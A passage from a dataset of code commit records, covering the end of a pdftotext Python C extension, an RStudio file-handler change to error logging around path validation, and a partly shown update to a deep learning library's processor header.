(PDF*)obj;\n\n    if (i < 0 || i >= self->page_count) {\n        return PyErr_Format(PyExc_IndexError, \"Index out of range\");\n    }\n    return PDF_read_page(self, i);\n}\n\nstatic PySequenceMethods PDF_sequence_methods = {\n    PDF_len,      \/\/ sq_length (__len__)\n    0,            \/\/ sq_concat\n    0,            \/\/ sq_repeat\n    PDF_getitem,  \/\/ sq_item (__getitem__)\n};\n\nstatic PyTypeObject PDFType = {\n    PyVarObject_HEAD_INIT(NULL, 0)\n    \"pdftotext.PDF\",                                   \/\/ tp_name\n    sizeof(PDF),                                       \/\/ tp_basicsize\n    0,                                                 \/\/ tp_itemsize\n    (destructor)PDF_dealloc,                           \/\/ tp_dealloc\n    0,                                                 \/\/ tp_print\n    0,                                                 \/\/ tp_getattr\n    0,                                                 \/\/ tp_setattr\n    0,                                                 \/\/ tp_reserved\n    0,                                                 \/\/ tp_repr\n    0,                                                 \/\/ tp_as_number\n    &PDF_sequence_methods,                             \/\/ tp_as_sequence\n    0,                                                 \/\/ tp_as_mapping\n    0,                                                 \/\/ tp_hash\n    0,                                                 \/\/ tp_call\n    0,                                                 \/\/ tp_str\n    0,                                                 \/\/ tp_getattro\n    0,                                                 \/\/ tp_setattro\n    0,                                                 \/\/ tp_as_buffer\n    Py_TPFLAGS_DEFAULT | Py_TPFLAGS_BASETYPE,          \/\/ tp_flags\n    \"PDF(pdf_file, password=\"\") -> new PDF document\",  \/\/ tp_doc\n    0,                                                 \/\/ tp_traverse\n    0,                                                 \/\/ tp_clear\n    0,                                                 \/\/ tp_richcompare\n    0,                                                 \/\/ tp_weaklistoffset\n    0,                                                 \/\/ tp_iter\n    0,                                                 \/\/ tp_iternext\n    0,                                                 \/\/ tp_methods\n    0,                                                 \/\/ tp_members\n    0,                                                 \/\/ tp_getset\n    0,                                                 \/\/ tp_base\n    0,                                                 \/\/ tp_dict\n    0,                                                 \/\/ tp_descr_get\n    0,                                                 \/\/ tp_descr_set\n    0,                                                 \/\/ tp_dictoffset\n    (initproc)PDF_init,                                \/\/ tp_init\n};\n\n#if POPPLER_CPP_AT_LEAST_0_30_0\nstatic void do_nothing(const std::string&, void*) {}\n#endif\n\n#if PY_MAJOR_VERSION >= 3\nstatic PyModuleDef pdftotextmodule = {\n    PyModuleDef_HEAD_INIT,\n    \"pdftotext\",\n    \"Simple PDF text extraction.\",\n};\n\nPyMODINIT_FUNC PyInit_pdftotext() {\n    PyObject* module;\n\n    PDFType.tp_new = PyType_GenericNew;\n    if (PyType_Ready(&PDFType) < 0) {\n        return NULL;\n    }\n\n    module = PyModule_Create(&pdftotextmodule);\n    if (module == NULL) {\n        return NULL;\n    }\n\n    Py_INCREF(&PDFType);\n    PyModule_AddObject(module, \"PDF\", (PyObject*)&PDFType);\n\n    PdftotextError = PyErr_NewExceptionWithDoc(\n        \"pdftotext.Error\", \"PDF error.\", NULL, NULL);\n    Py_INCREF(PdftotextError);\n    PyModule_AddObject(module, \"Error\", PdftotextError);\n\n    #if POPPLER_CPP_AT_LEAST_0_30_0\n    poppler::set_debug_error_function(do_nothing, NULL);\n    #endif\n\n    return module;\n}\n#else\nPyMODINIT_FUNC initpdftotext() {\n    PyObject* module;\n\n    PDFType.tp_new = PyType_GenericNew;\n    if (PyType_Ready(&PDFType) < 0) {\n        return;\n    }\n\n    module = Py_InitModule3(\"pdftotext\", NULL, \"Simple PDF text extraction.\");\n    if (module == NULL) {\n        return;\n    }\n\n    Py_INCREF(&PDFType);\n    PyModule_AddObject(module, \"PDF\", (PyObject*)&PDFType);\n\n    PdftotextError = PyErr_NewExceptionWithDoc(\n        (char*)\"pdftotext.Error\", (char*)\"PDF error.\", NULL, NULL);\n    Py_INCREF(PdftotextError);\n    PyModule_AddObject(module, \"Error\", PdftotextError);\n\n    #if POPPLER_CPP_AT_LEAST_0_30_0\n    poppler::set_debug_error_function(do_nothing, NULL);\n    #endif\n}\n#endif\n<|endoftext|>"}
{"text":"<commit_before>\/*\n * GwtFileHandler.cpp\n *\n * Copyright (C) 2009-11 by RStudio, Inc.\n *\n * This program is licensed to you under the terms of version 3 of the\n * GNU Affero General Public License. This program is distributed WITHOUT\n * ANY EXPRESS OR IMPLIED WARRANTY, INCLUDING THOSE OF NON-INFRINGEMENT,\n * MERCHANTABILITY OR FITNESS FOR A PARTICULAR PURPOSE. Please refer to the\n * AGPL (http:\/\/www.gnu.org\/licenses\/agpl-3.0.txt) for more details.\n *\n *\/\n\n#include <core\/gwt\/GwtFileHandler.hpp>\n\n#include <boost\/regex.hpp>\n\n#include <core\/FilePath.hpp>\n#include <core\/system\/System.hpp>\n#include <core\/http\/Request.hpp>\n#include <core\/http\/Response.hpp>\n\n\nnamespace core {\nnamespace gwt {   \n   \nnamespace {\n   \nFilePath requestedFile(const std::string& wwwLocalPath,\n                       const std::string& relativePath)\n{\n   \/\/ ensure that this path does not start with \/\n   if (relativePath.find('\/') == 0)\n      return FilePath();\n   \n   \/\/ ensure that this path does not contain ..\n   if (relativePath.find(\"..\") != std::string::npos)\n      return FilePath();\n   \n#ifndef _WIN32\n\n   \/\/ calculate \"real\" wwwPath\n   FilePath wwwRealPath;\n   Error error = core::system::realPath(wwwLocalPath, &wwwRealPath);\n   if (error)\n   {\n      LOG_ERROR(error);\n      return FilePath();\n   }\n\n   \/\/ calculate \"real\" requested path\n   FilePath realRequestedPath;\n   FilePath requestedPath = wwwRealPath.complete(relativePath);\n   error = core::system::realPath(requestedPath.absolutePath(),\n                                  &realRequestedPath);\n   if (error)\n   {\n      error.addProperty(\"requested-path\", relativePath);\n      LOG_ERROR(error);\n      return FilePath();\n   }\n\n   \/\/ validate that the requested path falls within the www path\n   if ( (realRequestedPath != wwwRealPath) &&\n        realRequestedPath.relativePath(wwwRealPath).empty() )\n   {\n      LOG_WARNING_MESSAGE(\"Non www-local-path URI requested: \" +\n                          relativePath);\n      return FilePath();\n   }\n\n   \/\/ return the path\n   return realRequestedPath;\n\n#else\n\n   \/\/ just complete the path straight away on Win32\n   return FilePath(wwwLocalPath).complete(relativePath);\n\n#endif\n\n}\n\nvoid handleFileRequest(const std::string& wwwLocalPath,\n                       const std::string& baseUri,\n                       core::http::UriFilterFunction mainPageFilter,\n                       const http::Request& request, \n                       http::Response* pResponse)\n{\n   \/\/ get the uri and strip the query string\n   std::string uri = request.uri();\n   std::size_t pos = uri.find(\"?\");\n   if (pos != std::string::npos)\n      uri.erase(pos);\n            \n   \/\/ request for one-character short of root location redirects to root\n   if (uri == baseUri.substr(0, baseUri.size()-1))\n   {\n      pResponse->setMovedPermanently(request, baseUri);\n      return;\n   }\n   \n   \/\/ request for a URI not within our location scope\n   if (uri.find(baseUri) != 0)\n   {\n      pResponse->setError(http::status::NotFound, \n                          request.uri() + \" not found\");\n      return;\n   }\n   \n   \/\/ auto-append index.htm to request for root location\n   const char * const kIndexFile = \"index.htm\";\n   if (uri == baseUri)\n      uri += kIndexFile;\n   \n   \/\/ if this is main page and we have a filter then then give it a crack\n   \/\/ at the request\n   std::string mainPage = baseUri + kIndexFile;\n   if (uri == mainPage)\n   {\n      \/\/ run filter if we have one\n      if (mainPageFilter)\n      {\n         \/\/ if the filter returns false it means we should stop processing\n         if (!mainPageFilter(request, pResponse))\n            return ;\n      }\n      \n\t\t\/\/ set chrome frame compatible\n\t\tpResponse->setChromeFrameCompatible(request);\n   }\n   \n   \/\/ get the requested file \n   std::string relativePath = uri.substr(baseUri.length());\n   FilePath filePath = requestedFile(wwwLocalPath, relativePath);\n   if (filePath.empty())\n   {\n      pResponse->setError(http::status::NotFound, \n                          request.uri() + \" not found\");\n      return;\n   }\n   \n   \/\/ case: files designated to be cached \"forever\"\n   if (regex_match(uri, boost::regex(\".*\\\\.cache\\\\..*\")))\n   {\n      pResponse->setCacheForeverHeaders();\n      pResponse->setFile(filePath, request);\n   }\n   \n   \/\/ case: files designated to never be cached \n   else if (regex_match(uri, boost::regex(\".*\\\\.nocache\\\\..*\")))\n   {\n      pResponse->setNoCacheHeaders();\n      pResponse->setFile(filePath, request);\n   }\n   \n   \/\/ case: normal cacheable file\n   else\n   {\n      \/\/ since these are application components we force revalidation\n      pResponse->setCacheWithRevalidationHeaders();\n      pResponse->setCacheableFile(filePath, request);\n   }\n  \n}\n   \n} \/\/ anonymous namespace\n   \nhttp::UriHandlerFunction fileHandlerFunction(\n                                       const std::string& wwwLocalPath,\n                                       const std::string& baseUri,\n                                       http::UriFilterFunction mainPageFilter)\n{\n   return boost::bind(handleFileRequest,\n                      wwwLocalPath,\n                      baseUri,\n                      mainPageFilter,\n                      _1,\n                      _2);\n}  \n\n} \/\/ namespace gwt\n} \/\/ namespace core\n\n<commit_msg>don't log realPath error if it is file not found<commit_after>\/*\n * GwtFileHandler.cpp\n *\n * Copyright (C) 2009-11 by RStudio, Inc.\n *\n * This program is licensed to you under the terms of version 3 of the\n * GNU Affero General Public License. This program is distributed WITHOUT\n * ANY EXPRESS OR IMPLIED WARRANTY, INCLUDING THOSE OF NON-INFRINGEMENT,\n * MERCHANTABILITY OR FITNESS FOR A PARTICULAR PURPOSE. Please refer to the\n * AGPL (http:\/\/www.gnu.org\/licenses\/agpl-3.0.txt) for more details.\n *\n *\/\n\n#include <core\/gwt\/GwtFileHandler.hpp>\n\n#include <boost\/regex.hpp>\n\n#include <core\/FilePath.hpp>\n#include <core\/system\/System.hpp>\n#include <core\/http\/Request.hpp>\n#include <core\/http\/Response.hpp>\n\n\nnamespace core {\nnamespace gwt {   \n   \nnamespace {\n   \nFilePath requestedFile(const std::string& wwwLocalPath,\n                       const std::string& relativePath)\n{\n   \/\/ ensure that this path does not start with \/\n   if (relativePath.find('\/') == 0)\n      return FilePath();\n   \n   \/\/ ensure that this path does not contain ..\n   if (relativePath.find(\"..\") != std::string::npos)\n      return FilePath();\n   \n#ifndef _WIN32\n\n   \/\/ calculate \"real\" wwwPath\n   FilePath wwwRealPath;\n   Error error = core::system::realPath(wwwLocalPath, &wwwRealPath);\n   if (error)\n   {\n      LOG_ERROR(error);\n      return FilePath();\n   }\n\n   \/\/ calculate \"real\" requested path\n   FilePath realRequestedPath;\n   FilePath requestedPath = wwwRealPath.complete(relativePath);\n   error = core::system::realPath(requestedPath.absolutePath(),\n                                  &realRequestedPath);\n   if (error)\n   {\n      \/\/ log if this isn't file not found\n      if (error.code() != boost::system::errc::no_such_file_or_directory)\n      {\n         error.addProperty(\"requested-path\", relativePath);\n         LOG_ERROR(error);\n      }\n      return FilePath();\n   }\n\n   \/\/ validate that the requested path falls within the www path\n   if ( (realRequestedPath != wwwRealPath) &&\n        realRequestedPath.relativePath(wwwRealPath).empty() )\n   {\n      LOG_WARNING_MESSAGE(\"Non www-local-path URI requested: \" +\n                          relativePath);\n      return FilePath();\n   }\n\n   \/\/ return the path\n   return realRequestedPath;\n\n#else\n\n   \/\/ just complete the path straight away on Win32\n   return FilePath(wwwLocalPath).complete(relativePath);\n\n#endif\n\n}\n\nvoid handleFileRequest(const std::string& wwwLocalPath,\n                       const std::string& baseUri,\n                       core::http::UriFilterFunction mainPageFilter,\n                       const http::Request& request, \n                       http::Response* pResponse)\n{\n   \/\/ get the uri and strip the query string\n   std::string uri = request.uri();\n   std::size_t pos = uri.find(\"?\");\n   if (pos != std::string::npos)\n      uri.erase(pos);\n            \n   \/\/ request for one-character short of root location redirects to root\n   if (uri == baseUri.substr(0, baseUri.size()-1))\n   {\n      pResponse->setMovedPermanently(request, baseUri);\n      return;\n   }\n   \n   \/\/ request for a URI not within our location scope\n   if (uri.find(baseUri) != 0)\n   {\n      pResponse->setError(http::status::NotFound, \n                          request.uri() + \" not found\");\n      return;\n   }\n   \n   \/\/ auto-append index.htm to request for root location\n   const char * const kIndexFile = \"index.htm\";\n   if (uri == baseUri)\n      uri += kIndexFile;\n   \n   \/\/ if this is main page and we have a filter then then give it a crack\n   \/\/ at the request\n   std::string mainPage = baseUri + kIndexFile;\n   if (uri == mainPage)\n   {\n      \/\/ run filter if we have one\n      if (mainPageFilter)\n      {\n         \/\/ if the filter returns false it means we should stop processing\n         if (!mainPageFilter(request, pResponse))\n            return ;\n      }\n      \n\t\t\/\/ set chrome frame compatible\n\t\tpResponse->setChromeFrameCompatible(request);\n   }\n   \n   \/\/ get the requested file \n   std::string relativePath = uri.substr(baseUri.length());\n   FilePath filePath = requestedFile(wwwLocalPath, relativePath);\n   if (filePath.empty())\n   {\n      pResponse->setError(http::status::NotFound, \n                          request.uri() + \" not found\");\n      return;\n   }\n   \n   \/\/ case: files designated to be cached \"forever\"\n   if (regex_match(uri, boost::regex(\".*\\\\.cache\\\\..*\")))\n   {\n      pResponse->setCacheForeverHeaders();\n      pResponse->setFile(filePath, request);\n   }\n   \n   \/\/ case: files designated to never be cached \n   else if (regex_match(uri, boost::regex(\".*\\\\.nocache\\\\..*\")))\n   {\n      pResponse->setNoCacheHeaders();\n      pResponse->setFile(filePath, request);\n   }\n   \n   \/\/ case: normal cacheable file\n   else\n   {\n      \/\/ since these are application components we force revalidation\n      pResponse->setCacheWithRevalidationHeaders();\n      pResponse->setCacheableFile(filePath, request);\n   }\n  \n}\n   \n} \/\/ anonymous namespace\n   \nhttp::UriHandlerFunction fileHandlerFunction(\n                                       const std::string& wwwLocalPath,\n                                       const std::string& baseUri,\n                                       http::UriFilterFunction mainPageFilter)\n{\n   return boost::bind(handleFileRequest,\n                      wwwLocalPath,\n                      baseUri,\n                      mainPageFilter,\n                      _1,\n                      _2);\n}  \n\n} \/\/ namespace gwt\n} \/\/ namespace core\n\n<|endoftext|>"}
{"text":"<commit_before>\/\/=======================================================================\n\/\/ Copyright (c) 2014-2017 Baptiste Wicht\n\/\/ Distributed under the terms of the MIT License.\n\/\/ (See accompanying file LICENSE or copy at\n\/\/  http:\/\/opensource.org\/licenses\/MIT)\n\/\/=======================================================================\n\n#pragma once\n\n\/*!\n * \\file processor.hpp\n * \\brief This file is made to be included by the dllp generated file only.\n *\/\n\n#include <string>\n#include <vector>\n#include <iostream>\n#include <iomanip>\n\n#include \"dll\/rbm\/rbm.hpp\"\n#include \"dll\/rbm\/conv_rbm.hpp\"\n#include \"dll\/neural\/dense_layer.hpp\"\n#include \"dll\/neural\/conv_layer.hpp\"\n#include \"dll\/dbn.hpp\"\n#include \"dll\/text_reader.hpp\"\n\n#include \"mnist\/mnist_reader.hpp\"\n#include \"mnist\/mnist_utils.hpp\"\n\nnamespace dll {\n\nnamespace processor {\n\nstruct options {\n    bool quiet  = false;\n    bool mkl    = false;\n    bool cublas = false;\n    bool cufft  = false;\n    bool cache  = false;\n};\n\ntemplate <typename LastLayer, typename Enable = void>\nstruct sgd_possible {\n    static constexpr bool value = false;\n};\n\ntemplate <typename LastLayer>\nstruct sgd_possible<LastLayer, std::enable_if_t<decay_layer_traits<LastLayer>::base_traits::sgd_supported>> {\n    static constexpr bool value = true;\n};\n\n\/\/These functions are only exposed to be able to unit-test the program\nint process_file(const options& opt, const std::vector<std::string>& actions, const std::string& source_file);\nstd::string process_file_result(const options& opt, const std::vector<std::string>& actions, const std::string& source_file);\n\nconstexpr double stupid_default = -666.0;\n\nstruct datasource {\n    std::string source_file;\n    std::string reader;\n\n    bool binarize         = false;\n    bool normalize        = false;\n    bool scale            = false;\n    double scale_d        = 0.0;\n    bool shift            = false;\n    double shift_d        = 0.0;\n    bool normal_noise     = false;\n    double normal_noise_d = 0.0;\n\n    long limit = -1;\n\n    datasource() {}\n    datasource(std::string source_file, std::string reader)\n            : source_file(std::move(source_file)), reader(std::move(reader)) {}\n\n    bool empty() const {\n        return source_file.empty();\n    }\n};\n\nstruct datasource_pack {\n    datasource samples;\n    datasource labels;\n};\n\nstruct general_desc {\n    bool batch_mode       = false;\n    size_t big_batch = 1;\n};\n\nstruct pretraining_desc {\n    size_t epochs = 25;\n    bool denoising     = false;\n};\n\nstruct training_desc {\n    size_t epochs     = 25;\n    double learning_rate   = stupid_default;\n    double momentum        = stupid_default;\n    size_t batch_size = 0;\n\n    std::string decay     = \"none\";\n    double l1_weight_cost = stupid_default;\n    double l2_weight_cost = stupid_default;\n\n    std::string trainer = \"none\";\n\n    bool verbose = false;\n};\n\nstruct weights_desc {\n    std::string file = \"weights.dat\";\n};\n\nstruct task {\n    std::vector<std::string> default_actions;\n\n    dll::processor::datasource_pack pretraining;\n    dll::processor::datasource_pack pretraining_clean;\n    dll::processor::datasource_pack training;\n    dll::processor::datasource_pack testing;\n\n    dll::processor::pretraining_desc pt_desc;\n    dll::processor::training_desc ft_desc;\n    dll::processor::weights_desc w_desc;\n    dll::processor::general_desc general_desc;\n};\n\ntemplate <bool Three, typename Sample>\nbool read_samples(const datasource& ds, std::vector<Sample>& samples) {\n    size_t limit = 0;\n\n    if (ds.limit > 0) {\n        limit = ds.limit;\n    }\n\n    if (ds.reader == \"mnist\") {\n        mnist::read_mnist_image_file<std::vector, Sample>(samples, ds.source_file, limit, [] { return Sample(1 * 28 * 28); });\n    } else if(ds.reader == \"text\"){\n        dll::text::read_images_direct<Three, std::vector, Sample>(samples, ds.source_file, limit);\n    } else {\n        std::cout << \"dllp: error: unknown samples reader: \" << ds.reader << std::endl;\n        return false;\n    }\n\n    if (ds.binarize) {\n        mnist::binarize_each(samples);\n    }\n\n    if (ds.normalize) {\n        mnist::normalize_each(samples);\n    }\n\n    if (ds.shift) {\n        for (auto& vec : samples) {\n            for (auto& v : vec) {\n                v += ds.shift_d;\n            }\n        }\n    }\n\n    if (ds.scale) {\n        for (auto& vec : samples) {\n            for (auto& v : vec) {\n                v *= ds.scale_d;\n            }\n        }\n    }\n\n    if (ds.normal_noise) {\n        mnist::normalize_each(samples);\n\n        std::random_device rd;\n        std::default_random_engine rand_engine(rd());\n        std::normal_distribution<float> normal_distribution(0.0, ds.normal_noise_d);\n        auto noise = std::bind(normal_distribution, rand_engine);\n\n        for (auto& vec : samples) {\n            for (auto& noisy_x : vec) {\n                noisy_x += noise();\n            }\n        }\n\n        mnist::normalize_each(samples);\n    }\n\n    return !samples.empty();\n}\n\ntemplate <typename Label>\nbool read_labels(const datasource& ds, std::vector<Label>& labels) {\n    size_t limit = 0;\n\n    if (ds.limit > 0) {\n        limit = ds.limit;\n    }\n\n    if (ds.reader == \"mnist\") {\n        mnist::read_mnist_label_file<std::vector, Label>(labels, ds.source_file, limit);\n    } else if (ds.reader == \"text\") {\n        dll::text::read_labels<std::vector, Label>(labels, ds.source_file, limit);\n    } else {\n        std::cout << \"dllp: error: unknown labels reader: \" << ds.reader << std::endl;\n        return false;\n    }\n\n    return !labels.empty();\n}\n\ninline void print_title(const std::string& value) {\n    std::cout << std::string(25, ' ') << std::endl;\n    std::cout << std::string(25, '*') << std::endl;\n    std::cout << \"* \" << value << std::string(25 - value.size() - 3, ' ') << \"*\" << std::endl;\n    std::cout << std::string(25, '*') << std::endl;\n    std::cout << std::string(25, ' ') << std::endl;\n}\n\ntemplate <typename Container, bool Three, typename DBN>\nvoid execute(DBN& dbn, task& task, const std::vector<std::string>& actions) {\n    print_title(\"Network\");\n    dbn.display();\n\n    using dbn_t = std::decay_t<DBN>;\n\n    \/\/Execute all the actions sequentially\n    for (auto& action : actions) {\n        if (action == \"pretrain\") {\n            print_title(\"Pretraining\");\n\n            if (task.pretraining.samples.empty()) {\n                std::cout << \"dllp: error: pretrain is not possible without a pretraining input\" << std::endl;\n                return;\n            }\n\n            std::vector<Container> pt_samples;\n\n            \/\/Try to read the samples\n            if (!read_samples<Three>(task.pretraining.samples, pt_samples)) {\n                std::cout << \"dllp: error: failed to read the pretraining samples\" << std::endl;\n                return;\n            }\n\n            if (task.pt_desc.denoising) {\n                std::vector<Container> clean_samples;\n\n                \/\/Try to read the samples\n                if (!read_samples<Three>(task.pretraining_clean.samples, clean_samples)) {\n                    std::cout << \"dllp: error: failed to read the clean samples\" << std::endl;\n                    return;\n                }\n\n                \/\/Pretrain the network\n                if constexpr(dbn_t::pretrain_possible && dbn_t::layers_t::is_denoising) {\n                    dbn.pretrain_denoising(pt_samples.begin(), pt_samples.end(), clean_samples.begin(), clean_samples.end(), task.pt_desc.epochs);\n                }\n            } else {\n                if constexpr (dbn_t::pretrain_possible) {\n                    \/\/Pretrain the network\n                    dbn.pretrain(pt_samples.begin(), pt_samples.end(), task.pt_desc.epochs);\n                }\n            }\n        } else if (action == \"train\") {\n            print_title(\"Training\");\n\n            if (task.training.samples.empty() || task.training.labels.empty()) {\n                std::cout << \"dllp: error: train is not possible without samples and labels\" << std::endl;\n                return;\n            }\n\n            std::vector<Container> ft_samples;\n            std::vector<size_t> ft_labels;\n\n            \/\/Try to read the samples\n            if (!read_samples<Three>(task.training.samples, ft_samples)) {\n                std::cout << \"dllp: error: failed to read the training samples\" << std::endl;\n                return;\n            }\n\n            \/\/Try to read the labels\n            if (!read_labels(task.training.labels, ft_labels)) {\n                std::cout << \"dllp: error: failed to read the training labels\" << std::endl;\n                return;\n            }\n\n            using last_layer = typename dbn_t::template layer_type<dbn_t::layers - 1>;\n\n            if(!sgd_possible<last_layer>::value){\n                std::cout << \"dllp: error: The network is not trainable by SGD\" << std::endl;\n                return;\n            }\n\n            \/\/Train the network\n            if constexpr(sgd_possible<last_layer>::value) {\n                auto ft_error = dbn.fine_tune(ft_samples, ft_labels, task.ft_desc.epochs);\n                std::cout << \"Train Classification Error:\" << ft_error << std::endl;\n            }\n        } else if (action == \"test\") {\n            print_title(\"Testing\");\n\n            if (task.testing.samples.empty() || task.testing.labels.empty()) {\n                std::cout << \"dllp: error: test is not possible without samples and labels\" << std::endl;\n                return;\n            }\n\n            std::vector<Container> test_samples;\n            std::vector<size_t> test_labels;\n\n            \/\/Try to read the samples\n            if (!read_samples<Three>(task.testing.samples, test_samples)) {\n                std::cout << \"dllp: error: failed to read the test samples\" << std::endl;\n                return;\n            }\n\n            \/\/Try to read the labels\n            if (!read_labels(task.testing.labels, test_labels)) {\n                std::cout << \"dllp: error: failed to read the test labels\" << std::endl;\n                return;\n            }\n\n            auto classes = dbn.output_size();\n\n            etl::dyn_matrix<size_t, 2> conf(classes, classes, 0.0);\n\n            size_t n  = test_samples.size();\n            size_t tp = 0;\n\n            for (size_t i = 0; i < test_samples.size(); ++i) {\n                auto sample = test_samples[i];\n                auto label  = test_labels[i];\n\n                auto predicted = dbn.predict(sample);\n\n                if (predicted == label) {\n                    ++tp;\n                }\n\n                ++conf(label, predicted);\n            }\n\n            double test_error = (n - tp) \/ double(n);\n\n            std::cout << \"Error rate: \" << test_error << std::endl;\n            std::cout << \"Accuracy: \" << (1.0 - test_error) << std::endl\n                      << std::endl;\n\n            std::cout << \"Results per class\" << std::endl;\n\n            double overall = 0.0;\n\n            std::cout << \"   | Accuracy | Error rate |\" << std::endl;\n\n            for (size_t l = 0; l < classes; ++l) {\n                size_t total = etl::sum(conf(l));\n                double acc = (total - conf(l, l)) \/ double(total);\n                std::cout << std::setw(3) << l;\n                std::cout << \"|\" << std::setw(10) << (1.0 - acc) << \"|\" << std::setw(12) << acc << \"|\" << std::endl;\n                overall += acc;\n            }\n\n            std::cout << std::endl;\n\n            std::cout << \"Overall Error rate: \" << overall \/ classes << std::endl;\n            std::cout << \"Overall Accuracy: \" << 1.0 - (overall \/ classes) << std::endl\n                      << std::endl;\n\n            std::cout << \"Confusion Matrix (%)\" << std::endl\n                      << std::endl;\n\n            std::cout << \"    \";\n            for (size_t l = 0; l < classes; ++l) {\n                std::cout << std::setw(5) << l << \" \";\n            }\n            std::cout << std::endl;\n\n            for (size_t l = 0; l < classes; ++l) {\n                size_t total = etl::sum(conf(l));\n                std::cout << std::setw(3) << l << \"|\";\n                for (size_t p = 0; p < classes; ++p) {\n                    std::cout << std::setw(5) << std::setprecision(2) << 100.0 * (conf(l, p) \/ double(total)) << \"|\";\n                }\n                std::cout << std::endl;\n            }\n            std::cout << std::endl;\n        } else if (action == \"save\") {\n            print_title(\"Save Weights\");\n\n            dbn.store(task.w_desc.file);\n            std::cout << \"Weights saved\" << std::endl;\n        } else if (action == \"load\") {\n            print_title(\"Load Weights\");\n\n            dbn.load(task.w_desc.file);\n            std::cout << \"Weights loaded\" << std::endl;\n        } else {\n            std::cout << \"dllp: error: Invalid action: \" << action << std::endl;\n        }\n    }\n\n    \/\/TODO\n}\n\n} \/\/end of namespace processor\n\n} \/\/end of namespace dll\n<commit_msg>Update processor<commit_after>\/\/=======================================================================\n\/\/ Copyright (c) 2014-2017 Baptiste Wicht\n\/\/ Distributed under the terms of the MIT License.\n\/\/ (See accompanying file LICENSE or copy at\n\/\/  http:\/\/opensource.org\/licenses\/MIT)\n\/\/=======================================================================\n\n#pragma once\n\n\/*!\n * \\file processor.hpp\n * \\brief This file is made to be included by the dllp generated file only.\n *\/\n\n#include <string>\n#include <vector>\n#include <iostream>\n#include <iomanip>\n\n#include \"dll\/rbm\/rbm.hpp\"\n#include \"dll\/rbm\/conv_rbm.hpp\"\n#include \"dll\/neural\/dense_layer.hpp\"\n#include \"dll\/neural\/conv_layer.hpp\"\n#include \"dll\/dbn.hpp\"\n#include \"dll\/text_reader.hpp\"\n\n#include \"mnist\/mnist_reader.hpp\"\n#include \"mnist\/mnist_utils.hpp\"\n\nnamespace dll {\n\nnamespace processor {\n\nstruct options {\n    bool quiet  = false;\n    bool mkl    = false;\n    bool cublas = false;\n    bool cufft  = false;\n    bool cache  = false;\n};\n\ntemplate <typename LastLayer, typename Enable = void>\nstruct sgd_possible {\n    static constexpr bool value = false;\n};\n\ntemplate <typename LastLayer>\nstruct sgd_possible<LastLayer, std::enable_if_t<decay_layer_traits<LastLayer>::base_traits::sgd_supported>> {\n    static constexpr bool value = true;\n};\n\n\/\/These functions are only exposed to be able to unit-test the program\nint process_file(const options& opt, const std::vector<std::string>& actions, const std::string& source_file);\nstd::string process_file_result(const options& opt, const std::vector<std::string>& actions, const std::string& source_file);\n\nconstexpr double stupid_default = -666.0;\n\nstruct datasource {\n    std::string source_file;\n    std::string reader;\n\n    bool binarize         = false;\n    bool normalize        = false;\n    bool scale            = false;\n    double scale_d        = 0.0;\n    bool shift            = false;\n    double shift_d        = 0.0;\n    bool normal_noise     = false;\n    double normal_noise_d = 0.0;\n\n    long limit = -1;\n\n    datasource() {}\n    datasource(std::string source_file, std::string reader)\n            : source_file(std::move(source_file)), reader(std::move(reader)) {}\n\n    bool empty() const {\n        return source_file.empty();\n    }\n};\n\nstruct datasource_pack {\n    datasource samples;\n    datasource labels;\n};\n\nstruct general_desc {\n    bool batch_mode       = false;\n    size_t big_batch = 1;\n};\n\nstruct pretraining_desc {\n    size_t epochs = 25;\n    bool denoising     = false;\n};\n\nstruct training_desc {\n    size_t epochs     = 25;\n    double learning_rate   = stupid_default;\n    double momentum        = stupid_default;\n    size_t batch_size = 0;\n\n    std::string decay     = \"none\";\n    double l1_weight_cost = stupid_default;\n    double l2_weight_cost = stupid_default;\n\n    std::string trainer = \"none\";\n\n    bool verbose = false;\n};\n\nstruct weights_desc {\n    std::string file = \"weights.dat\";\n};\n\nstruct task {\n    std::vector<std::string> default_actions;\n\n    dll::processor::datasource_pack pretraining;\n    dll::processor::datasource_pack pretraining_clean;\n    dll::processor::datasource_pack training;\n    dll::processor::datasource_pack testing;\n\n    dll::processor::pretraining_desc pt_desc;\n    dll::processor::training_desc ft_desc;\n    dll::processor::weights_desc w_desc;\n    dll::processor::general_desc general_desc;\n};\n\ntemplate <bool Three, typename Sample>\nbool read_samples(const datasource& ds, std::vector<Sample>& samples) {\n    size_t limit = 0;\n\n    if (ds.limit > 0) {\n        limit = ds.limit;\n    }\n\n    if (ds.reader == \"mnist\") {\n        mnist::read_mnist_image_file<std::vector, Sample>(samples, ds.source_file, limit, [] { return Sample(1 * 28 * 28); });\n    } else if(ds.reader == \"text\"){\n        dll::text::read_images_direct<Three>(samples, ds.source_file, limit);\n    } else {\n        std::cout << \"dllp: error: unknown samples reader: \" << ds.reader << std::endl;\n        return false;\n    }\n\n    if (ds.binarize) {\n        mnist::binarize_each(samples);\n    }\n\n    if (ds.normalize) {\n        mnist::normalize_each(samples);\n    }\n\n    if (ds.shift) {\n        for (auto& vec : samples) {\n            for (auto& v : vec) {\n                v += ds.shift_d;\n            }\n        }\n    }\n\n    if (ds.scale) {\n        for (auto& vec : samples) {\n            for (auto& v : vec) {\n                v *= ds.scale_d;\n            }\n        }\n    }\n\n    if (ds.normal_noise) {\n        mnist::normalize_each(samples);\n\n        std::random_device rd;\n        std::default_random_engine rand_engine(rd());\n        std::normal_distribution<float> normal_distribution(0.0, ds.normal_noise_d);\n        auto noise = std::bind(normal_distribution, rand_engine);\n\n        for (auto& vec : samples) {\n            for (auto& noisy_x : vec) {\n                noisy_x += noise();\n            }\n        }\n\n        mnist::normalize_each(samples);\n    }\n\n    return !samples.empty();\n}\n\ntemplate <typename Label>\nbool read_labels(const datasource& ds, std::vector<Label>& labels) {\n    size_t limit = 0;\n\n    if (ds.limit > 0) {\n        limit = ds.limit;\n    }\n\n    if (ds.reader == \"mnist\") {\n        mnist::read_mnist_label_file<std::vector, Label>(labels, ds.source_file, limit);\n    } else if (ds.reader == \"text\") {\n        dll::text::read_labels<std::vector, Label>(labels, ds.source_file, limit);\n    } else {\n        std::cout << \"dllp: error: unknown labels reader: \" << ds.reader << std::endl;\n        return false;\n    }\n\n    return !labels.empty();\n}\n\ninline void print_title(const std::string& value) {\n    std::cout << std::string(25, ' ') << std::endl;\n    std::cout << std::string(25, '*') << std::endl;\n    std::cout << \"* \" << value << std::string(25 - value.size() - 3, ' ') << \"*\" << std::endl;\n    std::cout << std::string(25, '*') << std::endl;\n    std::cout << std::string(25, ' ') << std::endl;\n}\n\ntemplate <typename Container, bool Three, typename DBN>\nvoid execute(DBN& dbn, task& task, const std::vector<std::string>& actions) {\n    